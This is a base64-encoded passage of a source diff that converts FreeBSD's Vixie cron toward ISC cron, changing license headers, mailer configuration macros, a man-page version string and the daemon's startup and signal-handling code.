b3VyIG93biByaXNrLCByZXNwb25zaWJpbGl0eSBmb3IgZGFtYWdlcyAoaWYgYW55KSB0bwotICog YW55b25lIHJlc3VsdGluZyBmcm9tIHRoZSB1c2Ugb2YgdGhpcyBzb2Z0d2FyZSByZXN0cyBlbnRp cmVseSB3aXRoIHRoZQotICogdXNlci4KKyAqIFBlcm1pc3Npb24gdG8gdXNlLCBjb3B5LCBtb2Rp ZnksIGFuZCBkaXN0cmlidXRlIHRoaXMgc29mdHdhcmUgZm9yIGFueQorICogcHVycG9zZSB3aXRo IG9yIHdpdGhvdXQgZmVlIGlzIGhlcmVieSBncmFudGVkLCBwcm92aWRlZCB0aGF0IHRoZSBhYm92 ZQorICogY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBhcHBlYXIg aW4gYWxsIGNvcGllcy4KICAqCi0gKiBTZW5kIGJ1ZyByZXBvcnRzLCBidWcgZml4ZXMsIGVuaGFu Y2VtZW50cywgcmVxdWVzdHMsIGZsYW1lcywgZXRjLiwgYW5kCi0gKiBJJ2xsIHRyeSB0byBrZWVw IGEgdmVyc2lvbiB1cCB0byBkYXRlLiAgSSBjYW4gYmUgcmVhY2hlZCBhcyBmb2xsb3dzOgotICog UGF1bCBWaXhpZSAgICAgICAgICA8cGF1bEB2aXguY29tPiAgICAgICAgICB1dW5ldCFkZWN3cmwh dml4aWUhcGF1bAorICogVEhFIFNPRlRXQVJFIElTIFBST1ZJREVEICJBUyBJUyIgQU5EIElTQyBE SVNDTEFJTVMgQUxMIFdBUlJBTlRJRVMKKyAqIFdJVEggUkVHQVJEIFRPIFRISVMgU09GVFdBUkUg SU5DTFVESU5HIEFMTCBJTVBMSUVEIFdBUlJBTlRJRVMgT0YKKyAqIE1FUkNIQU5UQUJJTElUWSBB TkQgRklUTkVTUy4gIElOIE5PIEVWRU5UIFNIQUxMIElTQyBCRSBMSUFCTEUgRk9SCisgKiBBTlkg U1BFQ0lBTCwgRElSRUNULCBJTkRJUkVDVCwgT1IgQ09OU0VRVUVOVElBTCBEQU1BR0VTIE9SIEFO WSBEQU1BR0VTCisgKiBXSEFUU09FVkVSIFJFU1VMVElORyBGUk9NIExPU1MgT0YgVVNFLCBEQVRB IE9SIFBST0ZJVFMsIFdIRVRIRVIgSU4gQU4KKyAqIEFDVElPTiBPRiBDT05UUkFDVCwgTkVHTElH RU5DRSBPUiBPVEhFUiBUT1JUSU9VUyBBQ1RJT04sIEFSSVNJTkcgT1VUCisgKiBPRiBPUiBJTiBD T05ORUNUSU9OIFdJVEggVEhFIFVTRSBPUiBQRVJGT1JNQU5DRSBPRiBUSElTIFNPRlRXQVJFLgog ICovCiAKLS8qIGNvbmZpZy5oIC0gY29uZmlndXJhYmxlcyBmb3IgVml4aWUgQ3JvbgorLyogY29u ZmlnLmggLSBjb25maWd1cmFibGVzIGZvciBJU0MgQ3JvbgogICoKLSAqICRGcmVlQlNEOiByZWxl YXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL2Nyb24vY29uZmlnLmggNTA0NzkgMTk5OS0wOC0yOCAw MTozNTo1OVogcGV0ZXIgJAorICogJElkOiBjb25maWcuaCx2IDEuMTAgMjAwNC8wMS8yMyAxODo1 Njo0MiB2aXhpZSBFeHAgJAogICovCiAKLSNpZiAhZGVmaW5lZChfUEFUSF9TRU5ETUFJTCkKLSMg ZGVmaW5lIF9QQVRIX1NFTkRNQUlMICIvdXNyL2xpYi9zZW5kbWFpbCIKLSNlbmRpZiAvKlNFTkRN QUlMKi8KLQogLyoKICAqIHRoZXNlIGFyZSBzaXRlLWRlcGVuZGVudAogICovCkBAIC0zMyw0NCAr MzMsMzggQEAKICNlbmRpZgogCiAJCQkvKgotCQkJICogY2hvb3NlIG9uZSBvZiB0aGVzZSBNQUlM Q01EIGNvbW1hbmRzLiAgSSB1c2UKKwkJCSAqIGNob29zZSBvbmUgb2YgdGhlc2UgbWFpbGVyIGNv bW1hbmRzLiAgc29tZSB1c2UKIAkJCSAqIC9iaW4vbWFpbCBmb3Igc3BlZWQ7IGl0IG1ha2VzIGJp ZmYgYmFyayBidXQgZG9lc24ndAotCQkJICogZG8gYWxpYXNpbmcuICAvdXNyL2xpYi9zZW5kbWFp bCBkb2VzIGFsaWFzaW5nIGJ1dCBpcworCQkJICogZG8gYWxpYXNpbmcuICBzZW5kbWFpbCBkb2Vz IGRvIGFsaWFzaW5nIGJ1dCBpcwogCQkJICogYSBob2cgZm9yIHNob3J0IG1lc3NhZ2VzLiAgYWxp YXNpbmcgaXMgbm90IG5lZWRlZAogCQkJICogaWYgeW91IG1ha2UgdXNlIG9mIHRoZSBNQUlMVE89 IGZlYXR1cmUgaW4gY3JvbnRhYnMuCiAJCQkgKiAoaGludDogTUFJTFRPPSB3YXMgYWRkZWQgZm9y IHRoaXMgcmVhc29uKS4KIAkJCSAqLwogCi0jZGVmaW5lIE1BSUxDTUQgX1BBVEhfU0VORE1BSUwJ CQkJCS8qLSovCi0jZGVmaW5lIE1BSUxBUkdTICIlcyAtRkNyb25EYWVtb24gLW9kaSAtb2VtIC1v aSAtdCIgICAgICAgICAgICAgLyotKi8KLQkJCS8qIC1GeAkgPSBzZXQgZnVsbC1uYW1lIG9mIHNl bmRlcgorI2RlZmluZSBNQUlMRk1UICIlcyAtRkNyb25EYWVtb24gLW9kaSAtb2VtIC1vaSAtdCIg LyotKi8KKwkJCS8qIC1GeAkgPSBTZXQgZnVsbC1uYW1lIG9mIHNlbmRlcgogCQkJICogLW9kaQkg PSBPcHRpb24gRGVsaXZlcnltb2RlIEludGVyYWN0aXZlCiAJCQkgKiAtb2VtCSA9IE9wdGlvbiBF cnJvcnMgTWFpbGVkdG9zZW5kZXIKLQkJCSAqIC1vaSAgID0gT3B0aW9uIGRvdCBtZXNzYWdlIHRl cm1pbmF0b3IKLQkJCSAqIC10ICAgID0gcmVhZCByZWNpcGllbnRzIGZyb20gaGVhZGVyIG9mIG1l c3NhZ2UKKwkJCSAqIC1vaSAgID0gSWdub3JlICIuIiBhbG9uZSBvbiBhIGxpbmUKKwkJCSAqIC10 ICAgID0gR2V0IHJlY2lwaWVudCBmcm9tIGhlYWRlcnMKIAkJCSAqLworI2RlZmluZSBNQUlMQVJH IF9QQVRIX1NFTkRNQUlMCQkJCS8qLSovCiAKLS8qICNkZWZpbmUgTUFJTENNRCAiL2Jpbi9tYWls IiAqLwkJLyotKi8KLS8qICNkZWZpbmUgTUFJTEFSR1MgIiVzIC1kICAlcyIgKi8JCS8qLSovCi0J CQkvKiAtZCA9IHVuZG9jdW1lbnRlZCBidXQgY29tbW9uIGZsYWc6IGRlbGl2ZXIgbG9jYWxseT8K Ky8qICNkZWZpbmUgTUFJTEZNVCAiJXMgLWQgJXMiCQkJCQorCQkJIC1kID0gdW5kb2N1bWVudGVk IGJ1dCBjb21tb24gZmxhZzogZGVsaXZlciBsb2NhbGx5PwogCQkJICovCisvKiAjZGVmaW5lIE1B SUxBUkcgIi9iaW4vbWFpbCIsbWFpbHRvICovCiAKLS8qICNkZWZpbmUgTUFJTENNRCAiL3Vzci9t bWRmL2Jpbi9zdWJtaXQiICovCS8qLSovCi0vKiAjZGVmaW5lIE1BSUxBUkdTICIlcyAtbWxyeHRv ICVzIiAqLwkJLyotKi8KKy8qICNkZWZpbmUgTUFJTEZNVCAiJXMgLW1scnh0byAlcyIJCQkqLwor LyogI2RlZmluZSBNQUlMQVJHICIvdXNyL21tZGYvYmluL3N1Ym1pdCIsbWFpbHRvCSovCiAKLS8q ICNkZWZpbmUgTUFJTF9EQVRFICovCQkJCS8qLSovCisvKiAjZGVmaW5lIE1BSUxfREFURQkJCQkq LwogCQkJLyogc2hvdWxkIHdlIGluY2x1ZGUgYW4gZXJzYXR6IERhdGU6IGhlYWRlciBpbgogCQkJ ICogZ2VuZXJhdGVkIG1haWw/ICBpZiB5b3UgYXJlIHVzaW5nIHNlbmRtYWlsCi0JCQkgKiBmb3Ig TUFJTENNRCwgaXQgaXMgYmV0dGVyIHRvIGxldCBzZW5kbWFpbAorCQkJICogYXMgdGhlIG1haWxl ciwgaXQgaXMgYmV0dGVyIHRvIGxldCBzZW5kbWFpbAogCQkJICogZ2VuZXJhdGUgdGhlIERhdGU6 IGhlYWRlci4KIAkJCSAqLwogCi0JCQkvKiBpZiBBTExPV19GSUxFIGFuZCBERU5ZX0ZJTEUgYXJl IG5vdCBkZWZpbmVkIG9yIGFyZQotCQkJICogZGVmaW5lZCBidXQgbmVpdGhlciBleGlzdHMsIHNo b3VsZCBjcm9udGFiKDEpIGJlCi0JCQkgKiB1c2FibGUgb25seSBieSByb290PwotCQkJICovCi0v KiAjZGVmaW5lIEFMTE9XX09OTFlfUk9PVCAqLwkJCS8qLSovCi0KIAkJCS8qIGlmIHlvdSB3YW50 IHRvIHVzZSBzeXNsb2coMykgaW5zdGVhZCBvZiBhcHBlbmRpbmcKIAkJCSAqIHRvIENST05ESVIv TE9HX0ZJTEUgKC92YXIvY3Jvbi9sb2csIGUuZy4pLCBkZWZpbmUKIAkJCSAqIFNZU0xPRyBoZXJl LiAgTm90ZSB0aGF0IHF1aXRlIGEgYml0IG9mIGxvZ2dpbmcKQEAgLTg1LDMgKzc5LDI3IEBACiAJ CQkgKiBwbGFjZXMuCiAJCQkgKi8KICNkZWZpbmUgU1lTTE9HCSAJCQkvKi0qLworCisJCQkvKiBp ZiB5b3Ugd2FudCBjcm9uIHRvIGNhcGl0YWxpemUgaXRzIG5hbWUgaW4gcHMKKwkJCSAqIHdoZW4g cnVubmluZyBhIGpvYi4gIERvZXMgbm90IHdvcmsgb24gU1lTVi4KKwkJCSAqLworLyojZGVmaW5l IENBUElUQUxJWkVfRk9SX1BTCQkqLworCisJCQkvKiBpZiB5b3UgaGF2ZSBhIHRtX2dtdG9mZiBt ZW1iZXIgaW4gc3RydWN0IHRtLgorCQkJICogSWYgbm90LCB3ZSB3aWxsIGhhdmUgdG8gY29tcHV0 ZSB0aGUgdmFsdWUgb3Vyc2VsdmVzLgorCQkJICovCisvKiNkZWZpbmUgSEFWRV9UTV9HTVRPRkYJ CSovCisKKwkJCS8qIGlmIHlvdXIgT1Mgc3VwcG9ydHMgYSBCU0Qtc3R5bGUgbG9naW4uY29uZiBm aWxlICovCisvKiNkZWZpbmUgTE9HSU5fQ0FQCQkJKi8KKworCQkJLyogaWYgeW91ciBPUyBzdXBw b3J0cyBCU0QgYXV0aGVudGljYXRpb24gKi8KKy8qI2RlZmluZSBCU0RfQVVUSAkJCSovCisKKwkJ CS8qIERlZmluZSB0aGlzIHRvIHJ1biBjcm9udGFiIHNldGdpZCBpbnN0ZWFkIG9mICAgCisJCQkg KiBzZXR1aWQgcm9vdC4gIEdyb3VwIGFjY2VzcyB3aWxsIGJlIHVzZWQgdG8gcmVhZAorCQkJICog dGhlIHRhYnMvYXRqb2JzIGRpcnMgYW5kIHRoZSBhbGxvdy9kZW55IGZpbGVzLgorCQkJICogSWYg dGhpcyBpcyBub3QgZGVmaW5lZCB0aGVuIGNyb250YWIgYW5kIGF0CisJCQkgKiBtdXN0IGJlIHNl dHVpZCByb290LgorCQkJICovCisvKiNkZWZpbmUgQ1JPTl9HUk9VUAkiY3JvbnRhYiIJKi8KZGlm ZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jvbi9jcm9uLjggZnJlZWJzZF9jcm9uL2Ny b24vY3Jvbi44Ci0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2Nyb24vY3Jvbi44CTIwMTQtMDEt MTYgMjE6NDM6NDkuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vY3Jvbi9jcm9uLjgJ MjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzI0NDQyNzYgKzAyMDAKQEAgLTE1LDcgKzE1LDcgQEAKIC5c IiAqIFBhdWwgVml4aWUgICAgICAgICAgPHBhdWxAdml4LmNvbT4gICAgICAgICAgdXVuZXQhZGVj d3JsIXZpeGllIXBhdWwKIC5cIiAqLwogLlwiCi0uXCIgJEZyZWVCU0Q6IHJlbGVhc2UvMTAuMC4w L3Vzci5zYmluL2Nyb24vY3Jvbi9jcm9uLjggMTgwMDk2IDIwMDgtMDYtMjkgMTY6NTY6MThaIG1h cmNrICQKKy5cIiAkRnJlZUJTRDogcmVsZW5nLzEwLjAvdXNyLnNiaW4vY3Jvbi9jcm9uL2Nyb24u OCAxODAwOTYgMjAwOC0wNi0yOSAxNjo1NjoxOFogbWFyY2sgJAogLlwiCiAuRGQgSnVuZSAyOSwg MjAwOAogLkR0IENST04gOApkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL2Ny b24uYyBmcmVlYnNkX2Nyb24vY3Jvbi9jcm9uLmMKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24v Y3Jvbi9jcm9uLmMJMjAxNC0wMS0xNiAyMTo0Mzo0OS4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVi c2RfY3Jvbi9jcm9uL2Nyb24uYwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3MjQ0NDI3NiArMDIwMApA QCAtMSwxNDIgKzEsMTM3IEBACiAvKiBDb3B5cmlnaHQgMTk4OCwxOTkwLDE5OTMsMTk5NCBieSBQ YXVsIFZpeGllCiAgKiBBbGwgcmlnaHRzIHJlc2VydmVkCisgKi8KKworLyoKKyAqIENvcHlyaWdo dCAoYykgMjAwNCBieSBJbnRlcm5ldCBTeXN0ZW1zIENvbnNvcnRpdW0sIEluYy4gKCJJU0MiKQor ICogQ29weXJpZ2h0IChjKSAxOTk3LDIwMDAgYnkgSW50ZXJuZXQgU29mdHdhcmUgQ29uc29ydGl1 bSwgSW5jLgogICoKLSAqIERpc3RyaWJ1dGUgZnJlZWx5LCBleGNlcHQ6IGRvbid0IHJlbW92ZSBt eSBuYW1lIGZyb20gdGhlIHNvdXJjZSBvcgotICogZG9jdW1lbnRhdGlvbiAoZG9uJ3QgdGFrZSBj cmVkaXQgZm9yIG15IHdvcmspLCBtYXJrIHlvdXIgY2hhbmdlcyAoZG9uJ3QKLSAqIGdldCBtZSBi bGFtZWQgZm9yIHlvdXIgcG9zc2libGUgYnVncyksIGRvbid0IGFsdGVyIG9yIHJlbW92ZSB0aGlz Ci0gKiBub3RpY2UuICBNYXkgYmUgc29sZCBpZiBidWlsZGFibGUgc291cmNlIGlzIHByb3ZpZGVk IHRvIGJ1eWVyLiAgTm8KLSAqIHdhcnJhbnRlZSBvZiBhbnkga2luZCwgZXhwcmVzcyBvciBpbXBs aWVkLCBpcyBpbmNsdWRlZCB3aXRoIHRoaXMKLSAqIHNvZnR3YXJlOyB1c2UgYXQgeW91ciBvd24g cmlzaywgcmVzcG9uc2liaWxpdHkgZm9yIGRhbWFnZXMgKGlmIGFueSkgdG8KLSAqIGFueW9uZSBy ZXN1bHRpbmcgZnJvbSB0aGUgdXNlIG9mIHRoaXMgc29mdHdhcmUgcmVzdHMgZW50aXJlbHkgd2l0 aCB0aGUKLSAqIHVzZXIuCisgKiBQZXJtaXNzaW9uIHRvIHVzZSwgY29weSwgbW9kaWZ5LCBhbmQg ZGlzdHJpYnV0ZSB0aGlzIHNvZnR3YXJlIGZvciBhbnkKKyAqIHB1cnBvc2Ugd2l0aCBvciB3aXRo b3V0IGZlZSBpcyBoZXJlYnkgZ3JhbnRlZCwgcHJvdmlkZWQgdGhhdCB0aGUgYWJvdmUKKyAqIGNv cHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2UgYXBwZWFyIGluIGFsbCBj b3BpZXMuCiAgKgotICogU2VuZCBidWcgcmVwb3J0cywgYnVnIGZpeGVzLCBlbmhhbmNlbWVudHMs IHJlcXVlc3RzLCBmbGFtZXMsIGV0Yy4sIGFuZAotICogSSdsbCB0cnkgdG8ga2VlcCBhIHZlcnNp b24gdXAgdG8gZGF0ZS4gIEkgY2FuIGJlIHJlYWNoZWQgYXMgZm9sbG93czoKLSAqIFBhdWwgVml4 aWUgICAgICAgICAgPHBhdWxAdml4LmNvbT4gICAgICAgICAgdXVuZXQhZGVjd3JsIXZpeGllIXBh dWwKKyAqIFRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMgSVMiIEFORCBJU0MgRElTQ0xBSU1T IEFMTCBXQVJSQU5USUVTCisgKiBXSVRIIFJFR0FSRCBUTyBUSElTIFNPRlRXQVJFIElOQ0xVRElO RyBBTEwgSU1QTElFRCBXQVJSQU5USUVTIE9GCisgKiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5F U1MuICBJTiBOTyBFVkVOVCBTSEFMTCBJU0MgQkUgTElBQkxFIEZPUgorICogQU5ZIFNQRUNJQUws IERJUkVDVCwgSU5ESVJFQ1QsIE9SIENPTlNFUVVFTlRJQUwgREFNQUdFUyBPUiBBTlkgREFNQUdF UworICogV0hBVFNPRVZFUiBSRVNVTFRJTkcgRlJPTSBMT1NTIE9GIFVTRSwgREFUQSBPUiBQUk9G SVRTLCBXSEVUSEVSIElOIEFOCisgKiBBQ1RJT04gT0YgQ09OVFJBQ1QsIE5FR0xJR0VOQ0UgT1Ig T1RIRVIgVE9SVElPVVMgQUNUSU9OLCBBUklTSU5HIE9VVAorICogT0YgT1IgSU4gQ09OTkVDVElP TiBXSVRIIFRIRSBVU0UgT1IgUEVSRk9STUFOQ0UgT0YgVEhJUyBTT0ZUV0FSRS4KICAqLwogCi0j aWYgIWRlZmluZWQobGludCkgJiYgIWRlZmluZWQoTElOVCkKLXN0YXRpYyBjb25zdCBjaGFyIHJj c2lkW10gPQotICAiJEZyZWVCU0Q6IHJlbGVhc2UvMTAuMC4wL3Vzci5zYmluL2Nyb24vY3Jvbi9j cm9uLmMgMjQyMTAxIDIwMTItMTAtMjUgMjI6NTQ6MjlaIHNvYm9tYXggJCI7Ci0jZW5kaWYKKy8v I2lmICFkZWZpbmVkKGxpbnQpICYmICFkZWZpbmVkKExJTlQpCisvL3N0YXRpYyBjaGFyIHJjc2lk W10gPSAiJElkOiBjcm9uLmMsdiAxLjEyIDIwMDQvMDEvMjMgMTg6NTY6NDIgdml4aWUgRXhwICQi OworLy8jZW5kaWYKIAogI2RlZmluZQlNQUlOX1BST0dSQU0KLQorI2luY2x1ZGUgPGxpYnV0aWwu aD4KKyNpbmNsdWRlIDxzeXMvbW1hbi5oPgogCiAjaW5jbHVkZSAiY3Jvbi5oIgotI2luY2x1ZGUg PHN5cy9tbWFuLmg+Ci0jaW5jbHVkZSA8c3lzL3NpZ25hbC5oPgotI2lmIFNZU19USU1FX0gKLSMg aW5jbHVkZSA8c3lzL3RpbWUuaD4KLSNlbHNlCi0jIGluY2x1ZGUgPHRpbWUuaD4KLSNlbmRpZgog CitlbnVtIHRpbWVqdW1wIHsgbmVnYXRpdmUsIHNtYWxsLCBtZWRpdW0sIGxhcmdlIH07CiAKIHN0 YXRpYwl2b2lkCXVzYWdlKHZvaWQpLAogCQlydW5fcmVib290X2pvYnMoY3Jvbl9kYiAqKSwKLQkJ Y3Jvbl90aWNrKGNyb25fZGIgKiwgaW50KSwKLQkJY3Jvbl9zeW5jKGludCksCi0JCWNyb25fc2xl ZXAoY3Jvbl9kYiAqLCBpbnQpLAotCQljcm9uX2NsZWFuKGNyb25fZGIgKiksCi0jaWZkZWYgVVNF X1NJR0NITEQKKwkJZmluZF9qb2JzKGludCwgY3Jvbl9kYiAqLCBpbnQsIGludCksCisJCXNldF90 aW1lKGludCksCisJCWNyb25fc2xlZXAoaW50KSwKIAkJc2lnY2hsZF9oYW5kbGVyKGludCksCi0j ZW5kaWYKIAkJc2lnaHVwX2hhbmRsZXIoaW50KSwKKwkJc2lnY2hsZF9yZWFwZXIodm9pZCksCisJ CXF1aXQoaW50KSwKIAkJcGFyc2VfYXJncyhpbnQgYywgY2hhciAqdltdKTsKIAotc3RhdGljIGlu dAlydW5fYXRfc2VjcmVzKGNyb25fZGIgKik7Ci0KLXN0YXRpYyB0aW1lX3QJbGFzdF90aW1lID0g MDsKLXN0YXRpYyBpbnQJZHN0X2VuYWJsZWQgPSAwOwotc3RydWN0IHBpZGZoICpwZmg7CitzdGF0 aWMJdm9sYXRpbGUgc2lnX2F0b21pY190CWdvdF9zaWdodXAsIGdvdF9zaWdjaGxkOworc3RhdGlj CWludAkJCXRpbWVSdW5uaW5nLCB2aXJ0dWFsVGltZSwgY2xvY2tUaW1lOworc3RhdGljICBpbnQJ CQljcm9uU29jazsKK3N0YXRpYwlsb25nCQkJR01Ub2ZmOworc3RhdGljICBjcm9uX2RiIAkJZGF0 YWJhc2U7CiAKK3N0cnVjdCBwaWRmaAkJCSpwZmg7CiBzdGF0aWMgdm9pZAotdXNhZ2UoKSB7Ci0j aWYgREVCVUdHSU5HCi0gICAgY2hhciAqKmRmbGFnczsKLSNlbmRpZgotCi0JZnByaW50ZihzdGRl cnIsICJ1c2FnZTogY3JvbiBbLWogaml0dGVyXSBbLUogcm9vdGppdHRlcl0gIgotCQkJIlstbSBt YWlsdG9dIFstc10gWy1vXSBbLXggZGVidWdmbGFnWywuLi5dXVxuIik7Ci0jaWYgREVCVUdHSU5H Ci0JZnByaW50ZihzdGRlcnIsICJcbmRlYnVnZmxhZ3M6ICIpOwordXNhZ2Uodm9pZCkgeworCWNv bnN0IGNoYXIgKipkZmxhZ3M7CiAKLSAgICAgICAgZm9yKGRmbGFncyA9IERlYnVnRmxhZ05hbWVz OyAqZGZsYWdzOyBkZmxhZ3MrKykgewotCQlmcHJpbnRmKHN0ZGVyciwgIiVzICIsICpkZmxhZ3Mp OwotCX0KLSAgICAgICAgZnByaW50ZihzdGRlcnIsICJcbiIpOwotI2VuZGlmCisJZnByaW50Zihz dGRlcnIsICJ1c2FnZTogY3JvbiBbLWogaml0dGVyXSBbLUogcm9vdGppdHRlcl0gIik7CisJZnBy aW50ZihzdGRlcnIsICIlcyBbLW5dIFsteCBbIiwgUHJvZ3JhbU5hbWUpOworCWZvciAoZGZsYWdz ID0gRGVidWdGbGFnTmFtZXM7ICpkZmxhZ3M7IGRmbGFncysrKQorCQlmcHJpbnRmKHN0ZGVyciwg IiVzJXMiLCAqZGZsYWdzLCBkZmxhZ3NbMV0gPyAiLCIgOiAiXSIpOwogCisJZnByaW50ZihzdGRl cnIsICJdXG4iKTsKIAlleGl0KEVSUk9SX0VYSVQpOwogfQogCiBzdGF0aWMgdm9pZAogb3Blbl9w aWRmaWxlKHZvaWQpCiB7Ci0JY2hhcglwaWRmaWxlW01BWF9GTkFNRV07Ci0JY2hhcglidWZbTUFY X1RFTVBTVFJdOwotCWludAlvdGhlcnBpZDsKLQotCSh2b2lkKSBzbnByaW50ZihwaWRmaWxlLCBz aXplb2YocGlkZmlsZSksIFBJREZJTEUsIFBJRERJUik7Ci0JcGZoID0gcGlkZmlsZV9vcGVuKHBp ZGZpbGUsIDA2MDAsICZvdGhlcnBpZCk7Ci0JaWYgKHBmaCA9PSBOVUxMKSB7Ci0JCWlmIChlcnJu byA9PSBFRVhJU1QpIHsKLQkJCXNucHJpbnRmKGJ1Ziwgc2l6ZW9mKGJ1ZiksCi0JCQkgICAgImNy b24gYWxyZWFkeSBydW5uaW5nLCBwaWQ6ICVkIiwgb3RoZXJwaWQpOwotCQl9IGVsc2UgewotCQkJ c25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwKLQkJCSAgICAiY2FuJ3Qgb3BlbiBvciBjcmVhdGUg JXM6ICVzIiwgcGlkZmlsZSwKLQkJCSAgICBzdHJlcnJvcihlcnJubykpOwotCQl9Ci0JCWxvZ19p dCgiQ1JPTiIsIGdldHBpZCgpLCAiREVBVEgiLCBidWYpOwotCQllcnJ4KEVSUk9SX0VYSVQsICIl cyIsIGJ1Zik7Ci0JfQorICAgICAgICBjaGFyICAgIHBpZGZpbGVbTUFYX0ZOQU1FXTsKKyAgICAg ICAgY2hhciAgICBidWZbTUFYX1RFTVBTVFJdOworICAgICAgICBpbnQgICAgIG90aGVycGlkOwor CisgICAgICAgICh2b2lkKSBzbnByaW50ZihwaWRmaWxlLCBzaXplb2YocGlkZmlsZSksIFBJREZJ TEUsIFBJRERJUik7CisgICAgICAgIHBmaCA9IHBpZGZpbGVfb3BlbihwaWRmaWxlLCAwNjAwLCAm b3RoZXJwaWQpOworICAgICAgICBpZiAocGZoID09IE5VTEwpIHsKKyAgICAgICAgICAgICAgICBp ZiAoZXJybm8gPT0gRUVYSVNUKSB7CisgICAgICAgICAgICAgICAgICAgICAgICBzbnByaW50Zihi dWYsIHNpemVvZihidWYpLAorICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjcm9uIGFscmVh ZHkgcnVubmluZywgcGlkOiAlZCIsIG90aGVycGlkKTsKKyAgICAgICAgICAgICAgICB9IGVsc2Ug eworICAgICAgICAgICAgICAgICAgICAgICAgc25wcmludGYoYnVmLCBzaXplb2YoYnVmKSwKKyAg ICAgICAgICAgICAgICAgICAgICAgICAgICAiY2FuJ3Qgb3BlbiBvciBjcmVhdGUgJXM6ICVzIiwg cGlkZmlsZSwKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJlcnJvcihlcnJubykpOwor ICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgICAgICBsb2dfaXQoIkNST04iLCBnZXRwaWQo KSwgIkRFQVRIIiwgYnVmKTsKKyAgICAgICAgICAgICAgICBlcnJ4KEVSUk9SX0VYSVQsICIlcyIs IGJ1Zik7CisgICAgICAgIH0KIH0KIAogaW50Ci1tYWluKGFyZ2MsIGFyZ3YpCi0JaW50CWFyZ2M7 Ci0JY2hhcgkqYXJndltdOwotewotCWNyb25fZGIJZGF0YWJhc2U7Ci0JaW50IHJ1bm51bTsKLQlp bnQgc2VjcmVzMSwgc2VjcmVzMjsKLQlzdHJ1Y3QgdG0gKnRtOworbWFpbihpbnQgYXJnYywgY2hh ciAqYXJndltdKSB7CisJc3RydWN0IHNpZ2FjdGlvbiBzYWN0OwogCiAJUHJvZ3JhbU5hbWUgPSBh cmd2WzBdOwogCisJc2V0bG9jYWxlKExDX0FMTCwgIiIpOworCiAjaWYgZGVmaW5lZChCU0QpCiAJ c2V0bGluZWJ1ZihzdGRvdXQpOwogCXNldGxpbmVidWYoc3RkZXJyKTsKICNlbmRpZgogCisJTm9G b3JrID0gMDsKIAlwYXJzZV9hcmdzKGFyZ2MsIGFyZ3YpOwogCi0jaWZkZWYgVVNFX1NJR0NITEQK LQkodm9pZCkgc2lnbmFsKFNJR0NITEQsIHNpZ2NobGRfaGFuZGxlcik7Ci0jZWxzZQotCSh2b2lk KSBzaWduYWwoU0lHQ0xELCBTSUdfSUdOKTsKKwliemVybygoY2hhciAqKSZzYWN0LCBzaXplb2Yg c2FjdCk7CisJc2lnZW1wdHlzZXQoJnNhY3Quc2FfbWFzayk7CisJc2FjdC5zYV9mbGFncyA9IDA7 CisjaWZkZWYgU0FfUkVTVEFSVAorCXNhY3Quc2FfZmxhZ3MgfD0gU0FfUkVTVEFSVDsKICNlbmRp ZgotCSh2b2lkKSBzaWduYWwoU0lHSFVQLCBzaWdodXBfaGFuZGxlcik7CisJc2FjdC5zYV9oYW5k bGVyID0gc2lnY2hsZF9oYW5kbGVyOworCSh2b2lkKSBzaWdhY3Rpb24oU0lHQ0hMRCwgJnNhY3Qs IE5VTEwpOworCXNhY3Quc2FfaGFuZGxlciA9IHNpZ2h1cF9oYW5kbGVyOworCSh2b2lkKSBzaWdh Y3Rpb24oU0lHSFVQLCAmc2FjdCwgTlVMTCk7CisJc2FjdC5zYV9oYW5kbGVyID0gcXVpdDsKKwko dm9pZCkgc2lnYWN0aW9uKFNJR0lOVCwgJnNhY3QsIE5VTEwpOworCSh2b2lkKSBzaWdhY3Rpb24o U0lHVEVSTSwgJnNhY3QsIE5VTEwpOwogCiAJb3Blbl9waWRmaWxlKCk7CisJY3JvblNvY2sgPSBv cGVuX3NvY2tldCgpOwogCXNldF9jcm9uX3VpZCgpOwogCXNldF9jcm9uX2N3ZCgpOwogCi0jaWYg ZGVmaW5lZChQT1NJWCkKLQlzZXRlbnYoIlBBVEgiLCBfUEFUSF9ERUZQQVRILCAxKTsKLSNlbmRp ZgorCWlmIChwdXRlbnYoIlBBVEg9Il9QQVRIX0RFRlBBVEgpIDwgMCkgeworCQlsb2dfaXQoIkNS T04iLCBnZXRwaWQoKSwgIkRFQVRIIiwgImNhbid0IG1hbGxvYyIpOworCQlleGl0KDEpOworCX0K IAogCS8qIGlmIHRoZXJlIGFyZSBubyBkZWJ1ZyBmbGFncyB0dXJuZWQgb24sIGZvcmsgYXMgYSBk YWVtb24gc2hvdWxkLgogCSAqLwotIyBpZiBERUJVR0dJTkcKIAlpZiAoRGVidWdGbGFncykgewot IyBlbHNlCi0JaWYgKDApIHsKLSMgZW5kaWYKLQkJKHZvaWQpIGZwcmludGYoc3RkZXJyLCAiWyVk XSBjcm9uIHN0YXJ0ZWRcbiIsIGdldHBpZCgpKTsKLQl9IGVsc2UgeworI2lmIERFQlVHR0lORwor CQkodm9pZCkgZnByaW50ZihzdGRlcnIsICJbJWxkXSBjcm9uIHN0YXJ0ZWRcbiIsIChsb25nKWdl dHBpZCgpKTsKKyNlbmRpZgorCX0gZWxzZSBpZiAoTm9Gb3JrID09IDApIHsKIAkJaWYgKGRhZW1v bigxLCAwKSA9PSAtMSkgewogCQkJcGlkZmlsZV9yZW1vdmUocGZoKTsKIAkJCWxvZ19pdCgiQ1JP TiIsZ2V0cGlkKCksIkRFQVRIIiwiY2FuJ3QgYmVjb21lIGRhZW1vbiIpOwpAQCAtMTQ1LDE2MCAr 